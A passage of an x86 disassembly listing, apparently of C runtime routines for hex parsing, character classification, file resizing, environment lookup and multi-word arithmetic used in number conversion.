sub_417770 add esp, 0Ch mov ecx, [ebp+arg_8] add ecx, [ebp+arg_C] mov byte ptr [ecx-1], 0 mov eax, 1 jmp short loc_42CAAE ; --------------------------------------------------------------------------- loc_42CA6E: ; CODE XREF: sub_42C930+44j mov edx, [ebp+var_C] imul edx, 2Ch mov eax, [ebp+arg_0] cmp eax, dword_444630[edx] jnb short loc_42CA8A mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_42CA93 ; --------------------------------------------------------------------------- loc_42CA8A: ; CODE XREF: sub_42C930+14Dj mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_10], edx loc_42CA93: ; CODE XREF: sub_42C930+158j jmp loc_42C94B ; --------------------------------------------------------------------------- loc_42CA98: ; CODE XREF: sub_42C930+21j ; sub_42C930:loc_42CA44j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call near ptr 26F0000h nop loc_42CAAE: ; CODE XREF: sub_42C930+13Cj mov esp, ebp pop ebp retn 10h sub_42C930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CAC0 proc near ; CODE XREF: sub_42C160+Ap ; sub_42C510+Ap ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 loc_42CACD: ; CODE XREF: sub_42CAC0+6Dj mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_8], cl movsx edx, [ebp+var_8] mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax test edx, edx jz short loc_42CB2F movsx ecx, [ebp+var_8] cmp ecx, 61h jl short loc_42CB02 movsx edx, [ebp+var_8] cmp edx, 66h jg short loc_42CB02 mov al, [ebp+var_8] add al, 0D9h mov [ebp+var_8], al jmp short loc_42CB1C ; --------------------------------------------------------------------------- loc_42CB02: ; CODE XREF: sub_42CAC0+2Dj ; sub_42CAC0+36j movsx ecx, [ebp+var_8] cmp ecx, 41h jl short loc_42CB1C movsx edx, [ebp+var_8] cmp edx, 46h jg short loc_42CB1C mov al, [ebp+var_8] add al, 0F9h mov [ebp+var_8], al loc_42CB1C: ; CODE XREF: sub_42CAC0+40j ; sub_42CAC0+49j ... mov ecx, [ebp+var_4] shl ecx, 4 movsx edx, [ebp+var_8] lea eax, [ecx+edx-30h] mov [ebp+var_4], eax jmp short loc_42CACD ; --------------------------------------------------------------------------- loc_42CB2F: ; CODE XREF: sub_42CAC0+24j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42CAC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CB40 proc near ; CODE XREF: sub_42C0A0+60p ; sub_42C490+39p ... var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_4], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx loc_42CB5E: ; CODE XREF: sub_42CB40+5Cj movsx eax, [ebp+var_4] cmp eax, 41h jl short loc_42CB70 movsx ecx, [ebp+var_4] cmp ecx, 5Ah jle short loc_42CB82 loc_42CB70: ; CODE XREF: sub_42CB40+25j movsx edx, [ebp+var_4] cmp edx, 61h jl short loc_42CB9E movsx eax, [ebp+var_4] cmp eax, 7Ah jg short loc_42CB9E loc_42CB82: ; CODE XREF: sub_42CB40+2Ej mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov al, [edx] mov [ebp+var_4], al mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx jmp short loc_42CB5E ; --------------------------------------------------------------------------- loc_42CB9E: ; CODE XREF: sub_42CB40+37j ; sub_42CB40+40j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42CB40 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 0 mov eax, [ebp+8] push eax call sub_42CD30 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 0 mov eax, [ebp+8] push eax call sub_42CD30 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 push 0 mov eax, [ebp+8] push eax call sub_42CD30 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 107h mov eax, [ebp+8] push eax call sub_42CD30 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 103h mov eax, [ebp+8] push eax call sub_42CD30 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 117h mov eax, [ebp+8] push eax call sub_42CD30 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 157h mov eax, [ebp+8] push eax call sub_42CD30 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 push 10h mov eax, [ebp+8] push eax call sub_42CD30 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CCB0 proc near ; CODE XREF: ___:0042615Ep arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push 0 mov eax, [ebp+arg_0] push eax call sub_42CD30 add esp, 0Ch pop ebp retn sub_42CCB0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 8 push 0 mov eax, [ebp+8] push eax call sub_42CD30 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4DB564, 3A4h jnz short loc_42CD1D push 3 push 0 mov eax, [ebp+8] push eax call sub_42CD30 add esp, 0Ch test eax, eax jz short loc_42CD1D mov dword ptr [ebp-4], 1 jmp short loc_42CD24 ; --------------------------------------------------------------------------- loc_42CD1D: ; CODE XREF: ___:0042CCFEj ; ___:0042CD12j mov dword ptr [ebp-4], 0 loc_42CD24: ; CODE XREF: ___:0042CD1Bj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CD30 proc near ; CODE XREF: ___:0042CBBBp ; ___:0042CBDBp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] and eax, 0FFh mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, byte_4DB681[ecx] and edx, [ebp+arg_8] test edx, edx jnz short loc_42CD84 cmp [ebp+arg_4], 0 jz short loc_42CD6E mov eax, [ebp+arg_0] xor ecx, ecx mov cx, word_443C86[eax*2] and ecx, [ebp+arg_4] mov [ebp+var_4], ecx jmp short loc_42CD75 ; --------------------------------------------------------------------------- loc_42CD6E: ; CODE XREF: sub_42CD30+27j mov [ebp+var_4], 0 loc_42CD75: ; CODE XREF: sub_42CD30+3Cj cmp [ebp+var_4], 0 jnz short loc_42CD84 mov [ebp+var_8], 0 jmp short loc_42CD8B ; --------------------------------------------------------------------------- loc_42CD84: ; CODE XREF: sub_42CD30+21j ; sub_42CD30+49j mov [ebp+var_8], 1 loc_42CD8B: ; CODE XREF: sub_42CD30+52j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42CD30 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, dword_4DB560 jnb short loc_42CDD1 mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42CDE1 loc_42CDD1: ; CODE XREF: ___:0042CDADj call sub_420520 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_42CE0F ; --------------------------------------------------------------------------- loc_42CDE1: ; CODE XREF: ___:0042CDCFj mov edx, [ebp+8] push edx call sub_427BE0 add esp, 4 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_42CE20 add esp, 8 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_427C70 add esp, 4 mov eax, [ebp-4] loc_42CE0F: ; CODE XREF: ___:0042CDDFj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CE20 proc near ; CODE XREF: sub_428050+44Cp ; ___:0042CDF5p var_1024 = dword ptr -1024h var_1020 = dword ptr -1020h var_101C = dword ptr -101Ch var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1024h call sub_417E20 push ebx push esi push edi lea eax, [ebp+var_1004] mov [ebp+var_1014], eax mov [ebp+var_101C], 0 loc_42CE46: ; CODE XREF: sub_42CE20+51j cmp [ebp+arg_4], 0 jge short loc_42CE6D push offset dword_434D1C push 0 push 81h push offset dword_434D10 push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_42CE6D int 3 ; Trap to Debugger loc_42CE6D: ; CODE XREF: sub_42CE20+2Aj ; sub_42CE20+4Aj xor ecx, ecx test ecx, ecx jnz short loc_42CE46 push 1 push 0 mov edx, [ebp+arg_0] push edx call sub_4254B0 add esp, 0Ch mov [ebp+var_100C], eax cmp [ebp+var_100C], 0FFFFFFFFh jz short loc_42CEB1 push 2 push 0 mov eax, [ebp+arg_0] push eax call sub_4254B0 add esp, 0Ch mov [ebp+var_1010], eax cmp [ebp+var_1010], 0FFFFFFFFh jnz short loc_42CEB9 loc_42CEB1: ; CODE XREF: sub_42CE20+70j or eax, 0FFFFFFFFh jmp loc_42D049 ; --------------------------------------------------------------------------- loc_42CEB9: ; CODE XREF: sub_42CE20+8Fj mov ecx, [ebp+arg_4] sub ecx, [ebp+var_1010] mov [ebp+var_1018], ecx cmp [ebp+var_1018], 0 jle loc_42CFD0 push 1000h push 0 mov edx, [ebp+var_1014] push edx call sub_417070 add esp, 0Ch push 8000h mov eax, [ebp+arg_0] push eax call sub_4300D0 add esp, 8 mov [ebp+var_4], eax loc_42CEFF: ; CODE XREF: sub_42CE20+198j cmp [ebp+var_1018], 1000h jl short loc_42CF17 mov [ebp+var_1020], 1000h jmp short loc_42CF23 ; --------------------------------------------------------------------------- loc_42CF17: ; CODE XREF: sub_42CE20+E9j mov ecx, [ebp+var_1018] mov [ebp+var_1020], ecx loc_42CF23: ; CODE XREF: sub_42CE20+F5j mov edx, [ebp+var_1020] mov [ebp+var_1008], edx cmp [ebp+var_1018], 1000h jl short loc_42CF47 mov [ebp+var_1024], 1000h jmp short loc_42CF53 ; --------------------------------------------------------------------------- loc_42CF47: ; CODE XREF: sub_42CE20+119j mov eax, [ebp+var_1018] mov [ebp+var_1024], eax loc_42CF53: ; CODE XREF: sub_42CE20+125j mov ecx, [ebp+var_1024] push ecx mov edx, [ebp+var_1014] push edx mov eax, [ebp+arg_0] push eax call sub_425910 add esp, 0Ch mov [ebp+var_1008], eax cmp [ebp+var_1008], 0FFFFFFFFh jnz short loc_42CF9F call sub_420530 cmp dword ptr [eax], 5 jnz short loc_42CF91 call sub_420520 mov dword ptr [eax], 0Dh loc_42CF91: ; CODE XREF: sub_42CE20+164j mov ecx, [ebp+var_1008] mov [ebp+var_101C], ecx jmp short loc_42CFBE ; --------------------------------------------------------------------------- loc_42CF9F: ; CODE XREF: sub_42CE20+15Aj mov edx, [ebp+var_1018] sub edx, [ebp+var_1008] mov [ebp+var_1018], edx cmp [ebp+var_1018], 0 jg loc_42CEFF loc_42CFBE: ; CODE XREF: sub_42CE20+17Dj mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4300D0 add esp, 8 jmp short loc_42D02E ; --------------------------------------------------------------------------- loc_42CFD0: ; CODE XREF: sub_42CE20+AFj cmp [ebp+var_1018], 0 jge short loc_42D02E push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4254B0 add esp, 0Ch mov ecx, [ebp+arg_0] push ecx call sub_427A60 add esp, 4 push eax call near ptr 2620000h nop neg eax sbb eax, eax neg eax dec eax mov [ebp+var_101C], eax cmp [ebp+var_101C], 0FFFFFFFFh jnz short loc_42D02E call sub_420520 mov dword ptr [eax], 0Dh nop call near ptr 26908EFh mov esi, eax call sub_420530 mov [eax], esi loc_42D02E: ; CODE XREF: sub_42CE20+1AEj ; sub_42CE20+1B7j ... push 0 mov edx, [ebp+var_100C] push edx mov eax, [ebp+arg_0] push eax call sub_4254B0 add esp, 0Ch mov eax, [ebp+var_101C] loc_42D049: ; CODE XREF: sub_42CE20+94j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42CE20 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push 0Ch call sub_41B780 add esp, 4 mov eax, [ebp+8] push eax call sub_42D080 add esp, 4 mov [ebp-4], eax push 0Ch call sub_41B820 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D080 proc near ; CODE XREF: sub_428F10+3Ap ; ___:0042D062p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, dword_4DB0CC mov [ebp+var_8], eax cmp dword_4DC7C4, 0 jnz short loc_42D09E xor eax, eax jmp loc_42D142 ; --------------------------------------------------------------------------- loc_42D09E: ; CODE XREF: sub_42D080+15j cmp [ebp+var_8], 0 jnz short loc_42D0C6 cmp dword_4DB0D4, 0 jz short loc_42D0C6 call sub_4301F0 test eax, eax jz short loc_42D0BD xor eax, eax jmp loc_42D142 ; --------------------------------------------------------------------------- loc_42D0BD: ; CODE XREF: sub_42D080+34j mov ecx, dword_4DB0CC mov [ebp+var_8], ecx loc_42D0C6: ; CODE XREF: sub_42D080+22j ; sub_42D080+2Bj cmp [ebp+var_8], 0 jz short loc_42D140 cmp [ebp+arg_0], 0 jz short loc_42D140 mov edx, [ebp+arg_0] push edx call sub_414BE0 add esp, 4 mov [ebp+var_4], eax loc_42D0E1: ; CODE XREF: sub_42D080+BEj mov eax, [ebp+var_8] cmp dword ptr [eax], 0 jz short loc_42D140 mov ecx, [ebp+var_8] mov edx, [ecx] push edx call sub_414BE0 add esp, 4 cmp eax, [ebp+var_4] jbe short loc_42D135 mov eax, [ebp+var_8] mov ecx, [eax] mov edx, [ebp+var_4] movsx eax, byte ptr [ecx+edx] cmp eax, 3Dh jnz short loc_42D135 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_8] mov ecx, [eax] push ecx call sub_4301A0 add esp, 0Ch test eax, eax jnz short loc_42D135 mov edx, [ebp+var_8] mov eax, [edx] mov ecx, [ebp+var_4] lea eax, [eax+ecx+1] jmp short loc_42D142 ; --------------------------------------------------------------------------- loc_42D135: ; CODE XREF: sub_42D080+7Aj ; sub_42D080+8Bj ... mov edx, [ebp+var_8] add edx, 4 mov [ebp+var_8], edx jmp short loc_42D0E1 ; --------------------------------------------------------------------------- loc_42D140: ; CODE XREF: sub_42D080+4Aj ; sub_42D080+50j ... xor eax, eax loc_42D142: ; CODE XREF: sub_42D080+19j ; sub_42D080+38j ... mov esp, ebp pop ebp retn sub_42D080 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D150 proc near ; CODE XREF: sub_429D30+53p ; sub_429D30+94p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] add eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_0] jb short loc_42D176 mov edx, [ebp+var_4] cmp edx, [ebp+arg_4] jnb short loc_42D17F loc_42D176: ; CODE XREF: sub_42D150+1Cj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_42D17F: ; CODE XREF: sub_42D150+24j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42D150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D190 proc near ; CODE XREF: sub_42D310+77p ; sub_42D310+AAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] mov edx, [ecx] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_42D150 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42D1E7 mov edx, [ebp+arg_0] add edx, 4 push edx push 1 mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_42D150 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_42D1E7 mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax loc_42D1E7: ; CODE XREF: sub_42D190+25j ; sub_42D190+46j mov edx, [ebp+arg_0] add edx, 4 push edx mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call sub_42D150 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_42D21C mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx loc_42D21C: ; CODE XREF: sub_42D190+7Bj mov ecx, [ebp+arg_0] add ecx, 8 push ecx mov edx, [ebp+arg_4] mov eax, [edx+8] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] push edx call sub_42D150 add esp, 0Ch mov esp, ebp pop ebp retn sub_42D190 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D240 proc near ; CODE XREF: sub_42D310+5Bp ; sub_42D310+67p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 80000000h neg ecx sbb ecx, ecx neg ecx mov [ebp+var_4], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] and eax, 80000000h neg eax sbb eax, eax neg eax mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx] shl edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+4] shl edx, 1 or edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] shl edx, 1 or edx, [ebp+var_8] mov eax, [ebp+arg_0] mov [eax+8], edx mov esp, ebp pop ebp retn sub_42D240 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D2A0 proc near ; CODE XREF: sub_42DFD0+382p ; sub_4302A0+316p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 1 neg ecx sbb ecx, ecx and ecx, 80000000h mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] and eax, 1 neg eax sbb eax, eax and eax, 80000000h mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx+4] shr edx, 1 or edx, [ebp+var_8] mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx] shr edx, 1 or edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [eax], edx mov esp, ebp pop ebp retn sub_42D2A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D310 proc near ; CODE XREF: sub_42D450+8A7p var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], 404Eh mov eax, [ebp+arg_8] mov dword ptr [eax], 0 mov ecx, [ebp+arg_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_8] mov dword ptr [edx+8], 0 jmp short loc_42D34D ; --------------------------------------------------------------------------- loc_42D33B: ; CODE XREF: sub_42D310+B2j mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_42D34D: ; CODE XREF: sub_42D310+29j cmp [ebp+arg_4], 0 jbe short loc_42D3C7 mov edx, [ebp+arg_8] mov eax, [edx] mov [ebp+var_C], eax mov ecx, [edx+4] mov [ebp+var_8], ecx mov edx, [edx+8] mov [ebp+var_4], edx mov eax, [ebp+arg_8] push eax call sub_42D240 add esp, 4 mov ecx, [ebp+arg_8] push ecx call sub_42D240 add esp, 4 lea edx, [ebp+var_C] push edx mov eax, [ebp+arg_8] push eax call sub_42D190 add esp, 8 mov ecx, [ebp+arg_8] push ecx call sub_42D240 add esp, 4 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov [ebp+var_C], eax mov [ebp+var_8], 0 mov [ebp+var_4], 0 lea ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_8] push edx call sub_42D190 add esp, 8 jmp loc_42D33B ; --------------------------------------------------------------------------- loc_42D3C7: ; CODE XREF: sub_42D310+41j ; sub_42D310+101j mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 0 jnz short loc_42D413 mov ecx, [ebp+arg_8] mov edx, [ecx+4] shr edx, 10h mov eax, [ebp+arg_8] mov [eax+8], edx mov ecx, [ebp+arg_8] mov edx, [ecx+4] shl edx, 10h mov eax, [ebp+arg_8] mov ecx, [eax] shr ecx, 10h or edx, ecx mov eax, [ebp+arg_8] mov [eax+4], edx mov ecx, [ebp+arg_8] mov edx, [ecx] shl edx, 10h mov eax, [ebp+arg_8] mov [eax], edx mov cx, [ebp+var_10] sub cx, 10h mov [ebp+var_10], cx jmp short loc_42D3C7 ; --------------------------------------------------------------------------- loc_42D413: ; CODE XREF: sub_42D310+BEj ; sub_42D310+12Aj mov edx, [ebp+arg_8] mov eax, [edx+8] and eax, 8000h test eax, eax jnz short loc_42D43C mov ecx, [ebp+arg_8] push ecx call sub_42D240 add esp, 4 mov dx, [ebp+var_10] sub dx, 1 mov [ebp+var_10], dx jmp short loc_42D413 ; --------------------------------------------------------------------------- loc_42D43C: ; CODE XREF: sub_42D310+110j mov eax, [ebp+arg_8] mov cx, [ebp+var_10] mov [eax+0Ah], cx mov esp, ebp pop ebp retn sub_42D310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D450 proc near ; CODE XREF: sub_42A3C0+1Ap ; ___:0042A41Ap ... var_B4 = byte ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = byte ptr -0A8h var_A4 = byte ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = word ptr -60h var_5E = dword ptr -5Eh var_5A = dword ptr -5Ah var_56 = word ptr -56h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = word ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_21 = byte ptr -21h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 0B4h lea eax, [ebp+var_38] mov [ebp+var_68], eax mov word ptr [ebp+var_1C], 0 mov [ebp+var_74], 1 mov [ebp+var_70], 0 mov [ebp+var_54], 0 mov [ebp+var_C], 0 mov [ebp+var_18], 0 mov [ebp+var_40], 0 mov [ebp+var_78], 0 mov [ebp+var_14], 0 mov [ebp+var_6C], 0 mov [ebp+var_44], 0 mov [ebp+var_4C], 0 mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov [ebp+var_64], edx jmp short loc_42D4C9 ; --------------------------------------------------------------------------- loc_42D4C0: ; CODE XREF: sub_42D450:loc_42D4F5j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42D4C9: ; CODE XREF: sub_42D450+6Ej mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_42D4F5 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jz short loc_42D4F5 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0Ah jz short loc_42D4F5 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Dh jnz short loc_42D4F7 loc_42D4F5: ; CODE XREF: sub_42D450+82j ; sub_42D450+8Dj ... jmp short loc_42D4C0 ; --------------------------------------------------------------------------- loc_42D4F7: ; CODE XREF: sub_42D450+A3j ; sub_42D450:loc_42DC53j cmp [ebp+var_4C], 0Ah jz loc_42DC58 mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_3C], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4C] mov [ebp+var_80], eax cmp [ebp+var_80], 0Bh ja loc_42DC53 mov ecx, [ebp+var_80] jmp off_42DE6A[ecx*4] loc_42D52C: ; DATA XREF: ___:off_42DE6Ao movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_42D550 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_42D550 mov [ebp+var_4C], 3 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_42D5C5 ; --------------------------------------------------------------------------- loc_42D550: ; CODE XREF: sub_42D450+E3j ; sub_42D450+ECj movsx edx, byte ptr [ebp+var_3C] movsx eax, byte_443B74 cmp edx, eax jnz short loc_42D568 mov [ebp+var_4C], 5 jmp short loc_42D5C5 ; --------------------------------------------------------------------------- loc_42D568: ; CODE XREF: sub_42D450+10Dj mov cl, byte ptr [ebp+var_3C] mov [ebp+var_84], cl cmp [ebp+var_84], 2Bh jz short loc_42D597 cmp [ebp+var_84], 2Dh jz short loc_42D5A6 cmp [ebp+var_84], 30h jz short loc_42D58E jmp short loc_42D5B5 ; --------------------------------------------------------------------------- loc_42D58E: ; CODE XREF: sub_42D450+13Aj mov [ebp+var_4C], 1 jmp short loc_42D5C5 ; --------------------------------------------------------------------------- loc_42D597: ; CODE XREF: sub_42D450+128j mov [ebp+var_4C], 2 mov word ptr [ebp+var_1C], 0 jmp short loc_42D5C5 ; --------------------------------------------------------------------------- loc_42D5A6: ; CODE XREF: sub_42D450+131j mov [ebp+var_4C], 2 mov word ptr [ebp+var_1C], 8000h jmp short loc_42D5C5 ; --------------------------------------------------------------------------- loc_42D5B5: ; CODE XREF: sub_42D450+13Cj mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_42D5C5: ; CODE XREF: sub_42D450+FEj ; sub_42D450+116j ... jmp loc_42DC53 ; --------------------------------------------------------------------------- loc_42D5CA: ; CODE XREF: sub_42D450+D5j ; DATA XREF: ___:0042DE6Eo mov [ebp+var_54], 1 movsx eax, byte ptr [ebp+var_3C] cmp eax, 31h jl short loc_42D5F8 movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 39h jg short loc_42D5F8 mov [ebp+var_4C], 3 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp loc_42D67B ; --------------------------------------------------------------------------- loc_42D5F8: ; CODE XREF: sub_42D450+188j ; sub_42D450+191j movsx eax, byte ptr [ebp+var_3C] movsx ecx, byte_443B74 cmp eax, ecx jnz short loc_42D610 mov [ebp+var_4C], 4 jmp short loc_42D67B ; --------------------------------------------------------------------------- loc_42D610: ; CODE XREF: sub_42D450+1B5j movsx edx, byte ptr [ebp+var_3C] mov [ebp+var_88], edx 